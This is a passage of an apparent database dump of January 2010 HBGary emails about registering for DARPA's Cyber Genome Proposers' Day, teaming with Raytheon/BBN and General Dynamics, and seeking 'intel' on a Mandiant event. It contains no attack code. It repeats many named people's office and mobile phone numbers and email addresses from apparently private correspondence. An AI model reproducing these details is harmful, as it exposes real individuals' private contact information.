secure online registration form****************************************************************************                              DARPA&#39;s Cyber Genome Proposers Day Conference\r\n*                              Registration Form*                              SN# 1272010100757***************************************************************************___________________________________________________________________________\r\nPersonal Information        CTO Richard Cummings        HBGary, Inc        3604 Fair Oaks Blvd        Sacramento, CA 95864Phone:   703-999-5012Email:   rich@hbgary.com\r\n______________________________________________________________________________________________________________________________________________________A T T E N D A N C E___________________________________________________________________________\r\n___________________________________________________________________________E L E C T I O N S___________________________________________________________________________                   Attendees: 1\r\n___________________________________________________________________________Thank you for using our online service:Anne Grosvenor at 703-351-8794agrosvenor@sysplan.com\r\n\r\n',15483,'aaron_hbgary_com/15483.html'),(1607,'2010-01-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000487.M44624P3547Q1606.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Genome Program Proposers\' Day---Hot!','FYI... Jim Jaegar has reached out to us and spoken with Greg last night.  He keeps coming over to the booth at DOD Cybercrime show we\'re at in St. Louis. \r\n\r\nSee below.  the show is supposed to open up for more people this Friday... according to the thread below.\r\n\r\nI just got off the phone with VanPutte\'s assistant.  Hopefully I\'ll speak with him for 5 minutes today.\r\n\r\nRC\r\n\r\n-----Original Message-----\r\nFrom: Matt O\'Flynn [mailto:matt@hbgary.com] \r\nSent: Tuesday, January 26, 2010 10:21 PM\r\nTo: Rich Cummings\r\nSubject: Fw: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nFyi\r\nSent on the Sprint® Now Network from my BlackBerry®\r\n\r\n-----Original Message-----\r\nFrom: \"Jaeger, James A.\" \r\nDate: Tue, 26 Jan 2010 21:16:04 \r\nTo: ; ; \r\nCc: Woolson, Martha A.; Upchurch, Jason R.\r\nSubject: FW: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nGreg, \r\n\r\nHere\'s the latest, direct from Mike Van Putte courtesy of Marci!  Looks like a website problem.....everyone should be able to sign up tomorrow morning (after 9:00).\r\n\r\nOur game plan is to have people at both sessions, in part to make sure that nothing new is put out at the second session.  Jason Upchurch is our technical lead and will participate in the second session.  Marci Woolson is our business development lead and will a participate in the first session along with Mike Harbison from DC3.\r\n\r\nWe\'ll keep you in the loop as we move forward.\r\n\r\nJim\r\n\r\nJim Jaeger\r\nDirector\r\nCyber Defense & Forensics\r\nPh: 240-294-2221\r\nCell: 443-926-1159\r\n\r\n\r\n-----Original Message-----\r\nFrom: Woolson, Martha A. \r\nSent: Tuesday, January 26, 2010 8:55 PM\r\nTo: Jaeger, James A.\r\nCc: Harlow, Douglas M.; Castrejon, Tomas M.\r\nSubject: FW: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nFrom the sensei himself.\r\n\r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n\r\n\r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 8:40 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nTomorrow at 9am you should be able to visit.  We were full in less than 24 hours and found a bigger room.\r\n\r\nMike\r\n\r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n\r\n----- Original Message -----\r\nFrom: Woolson, Martha A. \r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 19:15:29 2010\r\nSubject: RE: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nThe website link says \"Conference Registration is now closed as of: 7\"  I know it\'s been anticipated for a LONG time, but is it actually filled....\r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n\r\n\r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 6:55 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nNoooo.... Perception of favoritism.\r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n\r\n----- Original Message -----\r\nFrom: Woolson, Martha A. \r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 18:53:31 2010\r\nSubject: RE: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nThanks- just got off the phone with Larry and he confirmed that!  Maybe....you probably won\'t have time for lunch though...\r\n\r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n\r\n\r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 6:51 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nMarci\r\nBoth days are the same info.\r\nLarry and I were out of town on business.  Hopefully we\'ll make the next\r\n\r\nSee you friday?\r\n\r\nMike\r\n\r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n\r\n----- Original Message -----\r\nFrom: Woolson, Martha A. \r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 18:30:30 2010\r\nSubject: FW: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nAre you covering the same material in both proposers\' days so, attendance is either/or or will each gathering be different?\r\n\r\nMissed you at the JTF reunion last Friday.\r\n\r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Harbison, Michael J. \r\nSent: Tuesday, January 26, 2010 6:07 PM\r\nTo: Jaeger, James A.; Upchurch, Jason R.; Buratowski, Michael; Drissel, Joseph C.; \'harold.rodiquez@gdiais.com\'\r\nCc: Orth, Ryan S.; Harlow, Douglas M.; Castrejon, Tomas M.; Woolson, Martha A.; Spiller, John F.; Wilson, Ben N.\r\nSubject: RE: Cyber Genome Program Proposers\' Day---Hot!\r\n\r\nSir,\r\n\r\nI would like to attend if it\'s ok with Joe Drissel and Mike Buratowski.\r\n\r\nThank you,\r\nMike Harbison.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Jaeger, James A.\r\nSent: Tue 1/26/2010 5:17 PM\r\nTo: Upchurch, Jason R.; Buratowski, Michael; Drissel, Joseph C.; Harbison, Michael J.; \'harold.rodiquez@gdiais.com\'\r\nCc: Orth, Ryan S.; Harlow, Douglas M.; Castrejon, Tomas M.; Woolson, Martha A.; Spiller, John F.; Wilson, Ben N.\r\nSubject: Fw: Cyber Genome Program Proposers\' Day---Hot!\r\n \r\nJason, \r\n\r\nCan you fly to DC for this meeting at DARPA on Friday??\r\n\r\nJim\r\n\r\n\r\n________________________________\r\n\r\nFrom: Harlow, Douglas M. \r\nTo: Jaeger, James A. \r\nCc: Woolson, Martha A.; Castrejon, Tomas M. \r\nSent: Tue Jan 26 14:01:42 2010\r\nSubject: FW: Cyber Genome Program Proposers\' Day \r\n\r\n\r\n\r\nJim, \r\n\r\nThis is the same day as the NCPS Blue Team.  It would be interesting to go to if one of your forensics folks had time.\r\n\r\nDoug\r\n\r\n \r\n\r\nFrom: Harlow, Douglas M. \r\nSent: Tuesday, January 26, 2010 4:59 PM\r\nTo: Wilson, Ben N.; Spiller, John F.\r\nCc: Orth, Ryan S.\r\nSubject: Cyber Genome Program Proposers\' Day\r\n\r\n \r\n\r\nAre either of you aware of our skills in the area of cyber DNA - other than our work with HB Gary ?\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0efff97ec44aada63117f050bc43d86f&tab=core&_cview=0&cck=1&au=&ck=\r\n\r\n \r\n\r\nDoug Harlow\r\n\r\nCyber Business Development\r\n\r\nGeneral Dynamics - AIS\r\n\r\n14150 Newbrook Dr, Chantilly, VA 20151\r\n\r\n703-803-0100, x4159 work\r\n\r\n703-835-7243 Cell\r\n\r\n \r\n\r\n \r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\n\r\n\r\nSolicitation Number: DARPA-SN-10-22\r\n\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\n*	Print   \r\n*	Link   \r\n\r\nCopy or Bookmark this Page\r\n\r\nCopy the url below for a direct link to this page.\r\n\r\nBookmark this page by right-clicking here   and choosing \"Add to Favorites\"\r\n\r\n*	Notice Details   \r\n*	Packages   \r\n*	Interested Vendors List   \r\n\r\n\r\nOpportunity History\r\n\r\n\r\n*	Original Synopsis \r\n\r\nJan 25, 2010\r\n\r\n3:59 pm\r\n\r\n	Solicitation Number: \r\n\r\nDARPA-SN-10-22 \r\n\r\nNotice Type: \r\n\r\nSpecial Notice \r\n\r\nSynopsis: \r\n\r\nAdded: Jan 25, 2010 3:59 pm \r\n\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of DARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the Ballston Hilton, 950 North Stafford Street, Arlington, VA 22203 from 8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to provide information on the CYBER GENOME PROGRAM; promote additional discussion on this topic; address questions from potential proposers; and provide a forum for potential proposers to present their capabilities for teaming opportunities.\r\n\r\nA second Proposers\' Day Workshop will be held on February 8, 2010. Location will be in the Arlington, Virginia area and will be announced on the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n \r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION: \r\nThe objective of the Cyber Genome Program is to produce revolutionary cyber defense and investigatory technologies for the collection, identification, characterization, and presentation of properties and relationships from collected digital artifacts of software, data, and/or users to support DoD law enforcement, counter intelligence, and cyber defense teams. Digital artifacts may be collected from live systems (traditional computers, personal digital assistants, and/or distributed information systems such as \'cloud computers\'), from wired or wireless networks, or collected storage media. The format may include electronic documents or software (to include malicious software - malware). The Cyber Genome Program will encompass several program phases and technical areas of interest. Each of the technical areas will develop the cyber equivalent of fingerprints or DNA to facilitate developing the digital equivalent of genotype, as well as observed and inferred phenotype in order to determine the identity, lineage, and provenance of digital artifacts and users.\r\n\r\n \r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER GENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January 27, 2010, at the following website: http://safe.sysplan.com/sto/. Attendance will be limited to a maximum of three individuals per organization. The Proposers\' Day is intended for participants from industry and academia; it is not intended for parties who are not interested in bidding or participating on a bidding team, e.g. the public or members of the press. Government attendees will be invited separately. Organizations interested in participating in the program who are not able to attend the Proposers\' Day, may still register on the teaming website: http://www.davincinetbook.com/teams.\r\n\r\n \r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required to submit a U.S. Citizenship Verification form in order to attend this conference. The completed Citizenship Form must be emailed to: DARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27, 2010. The Citizenship Form is available for download at the registration website. Attendees will be required to present government issued photo identification upon entry to the event. Attendance is not required to propose to any associated BAA.\r\n\r\n \r\n\r\nAdditionally, attendees who would like to present company overviews, discuss their technology expertise, and/or discuss teaming opportunities in scheduled presentations at the conference may request to do so. Presentations may contain 5 slides and are limited to fifteen (15) minutes each (including logistical issues). Proposers desiring to reserve a time to present at the Proposers\' Day Conference should contact DARPA-BAA-10-36@darpa.mil as soon as possible, but no later than the registration cutoff date for the Proposers\' Day Conference.\r\n\r\n \r\n\r\nAll material to be displayed at the conference must be approved in advance by both the organization that funded the research and the DARPA Program Manager. The DARPA Program Manager will screen the proposed material for sensitive but unclassified material and approve in advance any presentations. It is the presenter\'s responsibility to ensure that all material they plan to present at the Proposers\' Day Conference has been approved by the funding organization in advance.\r\n\r\n \r\n\r\nAfter the conference, there will be an opportunity to meet individually with Dr. Michael VanPutte, the Cyber Genome Program Manager. Please contact Larry Blankenship at larry.blankenship.ctr@darpa.mil to schedule an individual session.\r\n\r\n	\r\n\r\n \r\n\r\n\r\n\r\n',718,'aaron_hbgary_com/718.html'),(1608,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000487.M617361P3547Q1608.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,,,','Mandiants M-trends release party for APT @6pm DC3','Anyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4452,'aaron_hbgary_com/4452.html'),(1609,'2010-01-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000487.M892946P3547Q1609.eml','\"Rich Cummings\" <rich@hbgary.com>,aaron@hbgary.com','Fwd: FW: Cyber Genome Program Proposers\' Day---Hot!','More intel.\r\n---------- Forwarded message ----------From: Jaeger, James A. &lt;jim.jaeger@gd-ais.com&gt;\r\nDate: Tue, Jan 26, 2010 at 7:23 PMSubject: FW: Cyber Genome Program Proposers&#39; Day---Hot!To: greg@hbgary.com, matt@hbgary.com, phil@hbgary.com\r\nCc: &quot;Woolson, Martha A.&quot; &lt;Marci.Woolson@gd-ais.com&gt;, &quot;Upchurch, Jason R.&quot; &lt;jason.upchurch@gd-ais.com&gt;\r\n\r\n\r\n\r\n(Resend to correct Greg&#39;s email address……it’s been a long (but good) day at the DoD Cyber Crime Conference) J\r\n \r\nGreg, \r\n \r\nHere&#39;s the latest, direct from Mike Van Putte courtesy of Marci!  Looks like a website problem.....everyone should be able to sign up tomorrow morning (after 9:00).\r\n \r\nOur game plan is to have people at both sessions, in part to make sure that nothing new is put out at the second session.  Jason Upchurch is our technical lead and will participate in the second session.  Marci Woolson is our business development lead and will a participate in the first session along with Mike Harbison from DC3.\r\n\r\n \r\nWe&#39;ll keep you in the loop as we move forward.\r\n \r\nJim\r\n \r\nJim Jaeger\r\nDirector\r\nCyber Defense &amp; Forensics\r\nPh: 240-294-2221\r\nCell: 443-926-1159\r\n \r\n \r\n-----Original Message-----\r\nFrom: Woolson, Martha A. \r\nSent: Tuesday, January 26, 2010 8:55 PM\r\nTo: Jaeger, James A.\r\nCc: Harlow, Douglas M.; Castrejon, Tomas M.\r\nSubject: FW: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nFrom the sensei himself.\r\n \r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n \r\n \r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 8:40 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nTomorrow at 9am you should be able to visit.  We were full in less than 24 hours and found a bigger room.\r\n \r\nMike\r\n \r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n \r\n----- Original Message -----\r\nFrom: Woolson, Martha A. &lt;Marci.Woolson@gd-ais.com&gt;\r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 19:15:29 2010\r\nSubject: RE: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nThe website link says &quot;Conference Registration is now closed as of: 7&quot;  I know it&#39;s been anticipated for a LONG time, but is it actually filled....\r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n \r\n \r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 6:55 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nNoooo.... Perception of favoritism.\r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n \r\n----- Original Message -----\r\nFrom: Woolson, Martha A. &lt;Marci.Woolson@gd-ais.com&gt;\r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 18:53:31 2010\r\nSubject: RE: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nThanks- just got off the phone with Larry and he confirmed that!  Maybe....you probably won&#39;t have time for lunch though...\r\n \r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n \r\n \r\n-----Original Message-----\r\nFrom: VanPutte, Michael [mailto:Michael.VanPutte@darpa.mil] \r\nSent: Tuesday, January 26, 2010 6:51 PM\r\nTo: Woolson, Martha A.\r\nCc: Blankenship, Larry (contr-sto)\r\nSubject: Re: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nMarci\r\nBoth days are the same info.\r\nLarry and I were out of town on business.  Hopefully we&#39;ll make the next\r\n \r\nSee you friday?\r\n \r\nMike\r\n \r\nMichael VanPutte, Ph.D.\r\nProgram Manager\r\nDefense Advanced Research Projects Agency \r\n--------------------------\r\nMisspelled by my BlackBerry \r\n--------------------------\r\n \r\n----- Original Message -----\r\nFrom: Woolson, Martha A. &lt;Marci.Woolson@gd-ais.com&gt;\r\nTo: VanPutte, Michael\r\nCc: Blankenship, Larry (contr-sto)\r\nSent: Tue Jan 26 18:30:30 2010\r\nSubject: FW: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nAre you covering the same material in both proposers&#39; days so, attendance is either/or or will each gathering be different?\r\n \r\nMissed you at the JTF reunion last Friday.\r\n \r\nMarci Woolson \r\nOffice:    240-294-2222 \r\nAlternate:  703-768-4412\r\nMobile:  703-407-2244 \r\n \r\n \r\n-----Original Message-----\r\nFrom: Harbison, Michael J. \r\nSent: Tuesday, January 26, 2010 6:07 PM\r\nTo: Jaeger, James A.; Upchurch, Jason R.; Buratowski, Michael; Drissel, Joseph C.; &#39;harold.rodiquez@gdiais.com&#39;\r\nCc: Orth, Ryan S.; Harlow, Douglas M.; Castrejon, Tomas M.; Woolson, Martha A.; Spiller, John F.; Wilson, Ben N.\r\nSubject: RE: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nSir,\r\n \r\nI would like to attend if it&#39;s ok with Joe Drissel and Mike Buratowski.\r\n \r\nThank you,\r\nMike Harbison.\r\n \r\n \r\n-----Original Message-----\r\nFrom: Jaeger, James A.\r\nSent: Tue 1/26/2010 5:17 PM\r\nTo: Upchurch, Jason R.; Buratowski, Michael; Drissel, Joseph C.; Harbison, Michael J.; &#39;harold.rodiquez@gdiais.com&#39;\r\nCc: Orth, Ryan S.; Harlow, Douglas M.; Castrejon, Tomas M.; Woolson, Martha A.; Spiller, John F.; Wilson, Ben N.\r\nSubject: Fw: Cyber Genome Program Proposers&#39; Day---Hot!\r\n \r\nJason, \r\n \r\nCan you fly to DC for this meeting at DARPA on Friday??\r\n \r\nJim\r\n \r\n \r\n________________________________\r\n \r\nFrom: Harlow, Douglas M. \r\nTo: Jaeger, James A. \r\nCc: Woolson, Martha A.; Castrejon, Tomas M. \r\nSent: Tue Jan 26 14:01:42 2010\r\nSubject: FW: Cyber Genome Program Proposers&#39; Day \r\n \r\n \r\n \r\nJim, \r\n \r\nThis is the same day as the NCPS Blue Team.  It would be interesting to go to if one of your forensics folks had time.\r\n \r\nDoug\r\n \r\n \r\n \r\nFrom: Harlow, Douglas M. \r\nSent: Tuesday, January 26, 2010 4:59 PM\r\nTo: Wilson, Ben N.; Spiller, John F.\r\nCc: Orth, Ryan S.\r\nSubject: Cyber Genome Program Proposers&#39; Day\r\n \r\n \r\n \r\nAre either of you aware of our skills in the area of cyber DNA - other than our work with HB Gary ?\r\n \r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0&amp;cck=1&amp;au=&amp;ck=\r\n\r\n \r\n \r\n \r\nDoug Harlow\r\n \r\nCyber Business Development\r\n \r\nGeneral Dynamics - AIS\r\n \r\n14150 Newbrook Dr, Chantilly, VA 20151\r\n \r\n703-803-0100, x4159 work\r\n \r\n703-835-7243 Cell\r\n \r\n \r\n \r\n \r\n \r\n \r\nCyber Genome Program Proposers&#39; Day\r\n \r\n \r\nSolicitation Number: DARPA-SN-10-22\r\n \r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n \r\n*     Print &lt;https://www.fbo.gov/?print_preview=1&amp;s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;tabmode=list&gt;  \r\n\r\n*     Link &lt;https://www.fbo.gov/spg/ODA/DARPA/CMO/DARPA-SN-10-22/listing.html&gt;  \r\n \r\nCopy or Bookmark this Page\r\n \r\nCopy the url below for a direct link to this page.\r\n \r\nBookmark this page by right-clicking here &lt;https://www.fbo.gov/spg/ODA/DARPA/CMO/DARPA-SN-10-22/listing.html&gt;  and choosing &quot;Add to Favorites&quot;\r\n\r\n \r\n*     Notice Details &lt;https://www.fbo.gov/index?&amp;s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;tabmode=list&gt;  \r\n\r\n*     Packages &lt;https://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tabmode=list&gt;  \r\n\r\n*     Interested Vendors List &lt;https://www.fbo.gov/index?tab=ivl&amp;s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tabmode=list&gt;  \r\n\r\n \r\n \r\nOpportunity History\r\n \r\n \r\n*     Original Synopsis \r\n \r\nJan 25, 2010\r\n \r\n3:59 pm\r\n \r\n      Solicitation Number: \r\n \r\nDARPA-SN-10-22 \r\n \r\nNotice Type: \r\n \r\nSpecial Notice \r\n \r\nSynopsis: \r\n \r\nAdded: Jan 25, 2010 3:59 pm \r\n \r\nPROPOSERS&#39; DAY CONFERENCE\r\nDARPA will host a Proposers&#39; Day Workshop in support of DARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the Ballston Hilton, 950 North Stafford Street, Arlington, VA 22203 from 8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to provide information on the CYBER GENOME PROGRAM; promote additional discussion on this topic; address questions from potential proposers; and provide a forum for potential proposers to present their capabilities for teaming opportunities.\r\n\r\n \r\nA second Proposers&#39; Day Workshop will be held on February 8, 2010. Location will be in the Arlington, Virginia area and will be announced on the Proposers&#39; Day website (http://safe.sysplan.com/sto/).\r\n\r\n \r\n \r\n \r\nPROGRAM OBJECTIVE AND DESCRIPTION: \r\nThe objective of the Cyber Genome Program is to produce revolutionary cyber defense and investigatory technologies for the collection, identification, characterization, and presentation of properties and relationships from collected digital artifacts of software, data, and/or users to support DoD law enforcement, counter intelligence, and cyber defense teams. Digital artifacts may be collected from live systems (traditional computers, personal digital assistants, and/or distributed information systems such as &#39;cloud computers&#39;), from wired or wireless networks, or collected storage media. The format may include electronic documents or software (to include malicious software - malware). The Cyber Genome Program will encompass several program phases and technical areas of interest. Each of the technical areas will develop the cyber equivalent of fingerprints or DNA to facilitate developing the digital equivalent of genotype, as well as observed and inferred phenotype in order to determine the identity, lineage, and provenance of digital artifacts and users.\r\n\r\n \r\n \r\n \r\nREGISTRATION INFORMATION Participants must register for the CYBER GENOME PROGRAM Proposers&#39; Day no later than 5:00 p.m. EST on January 27, 2010, at the following website: http://safe.sysplan.com/sto/. Attendance will be limited to a maximum of three individuals per organization. The Proposers&#39; Day is intended for participants from industry and academia; it is not intended for parties who are not interested in bidding or participating on a bidding team, e.g. the public or members of the press. Government attendees will be invited separately. Organizations interested in participating in the program who are not able to attend the Proposers&#39; Day, may still register on the teaming website: http://www.davincinetbook.com/teams.\r\n\r\n \r\n \r\n \r\nAttendance is restricted to U.S. Citizens only. Attendees are required to submit a U.S. Citizenship Verification form in order to attend this conference. The completed Citizenship Form must be emailed to: DARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27, 2010. The Citizenship Form is available for download at the registration website. Attendees will be required to present government issued photo identification upon entry to the event. Attendance is not required to propose to any associated BAA.\r\n\r\n \r\n \r\n \r\nAdditionally, attendees who would like to present company overviews, discuss their technology expertise, and/or discuss teaming opportunities in scheduled presentations at the conference may request to do so. Presentations may contain 5 slides and are limited to fifteen (15) minutes each (including logistical issues). Proposers desiring to reserve a time to present at the Proposers&#39; Day Conference should contact DARPA-BAA-10-36@darpa.mil as soon as possible, but no later than the registration cutoff date for the Proposers&#39; Day Conference.\r\n\r\n \r\n \r\n \r\nAll material to be displayed at the conference must be approved in advance by both the organization that funded the research and the DARPA Program Manager. The DARPA Program Manager will screen the proposed material for sensitive but unclassified material and approve in advance any presentations. It is the presenter&#39;s responsibility to ensure that all material they plan to present at the Proposers&#39; Day Conference has been approved by the funding organization in advance.\r\n\r\n \r\n \r\n \r\nAfter the conference, there will be an opportunity to meet individually with Dr. Michael VanPutte, the Cyber Genome Program Manager. Please contact Larry Blankenship at larry.blankenship.ctr@darpa.mil to schedule an individual session.\r\n\r\n \r\n      \r\n \r\n \r\n \r\n \r\n',13442,'aaron_hbgary_com/13442.html'),(1610,'2010-01-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000488.M122087P3547Q1610.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,','RE: Mandiants M-trends release party for APT @6pm DC3','Matt and Phil are on it.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 10:54 AM\r\nTo: Matt O\'Flynn\r\nCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich Cummings\r\nSubject: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAnyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',3528,'aaron_hbgary_com/3528.html'),(1611,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000489.M301107P3547Q1612.eml','\"Dan McCarthy\" <dmccarth@bbn.com>','Re: Cyber Genome opportunity','Hi Dan,\r\n\r\nAre you requesting to discuss possible teaming on this opportunity?\r\nFeel free to call me if you would like to discuss.\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\nOn Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n> Ted and Anthony,\r\n>\r\n> I\'d like to setup a call with you to discuss attendance at this industry\r\n> day. I understand from the customer that you have both registered to attend.\r\n>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have been\r\n> closely following it.  Unfortunately, attendance is limited to three people\r\n> per company (mothership Raytheon), but having the two industry days will\r\n> help.\r\n>\r\n> When is a good time to talk? Can you send me your phone numbers?\r\n>\r\n> Dan\r\n>\r\n> _________________________________\r\n> Dan McCarthy, PhD\r\n> Deputy Manager\r\n> Cyber Security\r\n> Raytheon / BBN Technologies\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n',16862,'aaron_hbgary_com/16862.html'),(1612,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000489.M670938P3547Q1613.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Cyber Genome opportunity','All,Follow the link below. &nbsp;Remember I had said something about the BAA possibly being geared towards certain organizations. &nbsp;We are not sure why Raytheon and DARPA are tying us together, but Ted is working to find out.AaronBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: January 27, 2010 11:23:13 AM ESTTo: Dan McCarthy &lt;dmccarth@bbn.com&gt;Subject: Re: Cyber Genome opportunityHi Dan,Are you requesting to discuss possible teaming on this opportunity?Feel free to call me if you would like to discuss.Regards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy &lt;dmccarth@bbn.com&gt; wrote:Ted and Anthony,I\'d like to setup a call with you to discuss attendance at this industryday. I understand from the customer that you have both registered to attend.&nbsp;We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have beenclosely following it. &nbsp;Unfortunately, attendance is limited to three peopleper company (mothership Raytheon), but having the two industry days willhelp.When is a good time to talk? Can you send me your phone numbers?Dan_________________________________Dan McCarthy, PhDDeputy ManagerCyber SecurityRaytheon / BBN Technologies\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7616,'aaron_hbgary_com/7616.html'),(1613,'2010-01-27','\"Ted Vera\" 